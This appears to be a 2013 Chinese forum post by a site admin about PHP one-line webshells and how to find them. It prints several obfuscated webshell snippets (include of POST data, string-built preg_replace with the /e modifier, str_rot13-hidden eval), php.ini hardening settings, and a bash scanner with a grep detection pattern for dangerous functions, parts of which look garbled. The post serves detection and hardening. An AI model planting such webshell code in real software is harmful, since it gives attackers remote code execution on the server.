灯火互联
管理员
管理员
  • 注册日期2011-07-27
  • 发帖数41778
  • QQ
  • 火币41290枚
  • 粉丝1086
  • 关注100
  • 终身成就奖
  • 最爱沙发
  • 忠实会员
  • 灌水天才奖
  • 贴图大师奖
  • 原创先锋奖
  • 特殊贡献奖
  • 宣传大使奖
  • 优秀斑竹奖
  • 社区明星
阅读:1964回复:0

PHP一句话木马及查杀

楼主#
更多 发布于:2013-01-18 09:32

常见的木马基本上有如下特征
1.接收外部变量
常见如:$_GET,$_POST
更加隐蔽的$_FILES,$_REQUEST…

2.执行函数
获取数据后还需执行它
常见如:eval,assert,preg_replace
隐藏变种:

include($_POST['a']);
$hh ="p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$hh("/[discuz]/e",$_POST['h'],"Access");
@preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)','add');
使用urldecode,gzinflate,base64_decode等加密函数

3.写入文件
获取更多的权限
如:copy,file_get_contents,exec

一般的建议是打开safe_mode 或使用disable_functions等来提升安全性;
可能有些程序无法正常运行,基本的安全设置
php.ini中

expose_php = OFF
register_globals = Off
display_errors =Off
cgi.fix_pathinfo=0
magic_quotes_gpc = On
allow_url_fopen =Off
allow_url_include = Off
配置open_basedir
查找木马脚本
查找隐藏特征码及入口可以找出大部分的木马.

#!/bin/bash

findpath=./
logfile=findtrojan.log

echo -e$(date +%Y-%m-%d_%H:%M:%S)" startr" >>$logfile
echo -e'============changetime list==========rn' >> ${logfile}
find${findpath} -name "*.php" -ctime -3 -type f -exec ls -l {} ; >>${logfile}

echo -e '============nouser file list==========rn' >>${logfile}
find ${findpath} -nouser -nogroup -type f -exec ls -l {} ;>> ${logfile}

echo -e '============php one word trojan==========rn' >> ${logfile}
find ${findpath} -name "*.php" -exec egrep-I -i -C1 -H'exec(|eval(|assert(|system(|passthru(|shell_exec(|escapeshellcmd(|pcntl_exec(|gzuncompress(|gzinflate(|unserialize(|base64_decode(|file_get_contents(|urldecode(|str_rot13(|$_GET|$_POST|$_REQUEST|$_FILES|$GLOBALS'{} ; >> ${logfile}
#使用使用-l 代替-C1 -H 可以只打印文件名
echo -e $(date+%Y-%m-%d_%H:%M:%S)" endr" >>$logfile

more $logfile

喜欢0 评分0
游客

返回顶部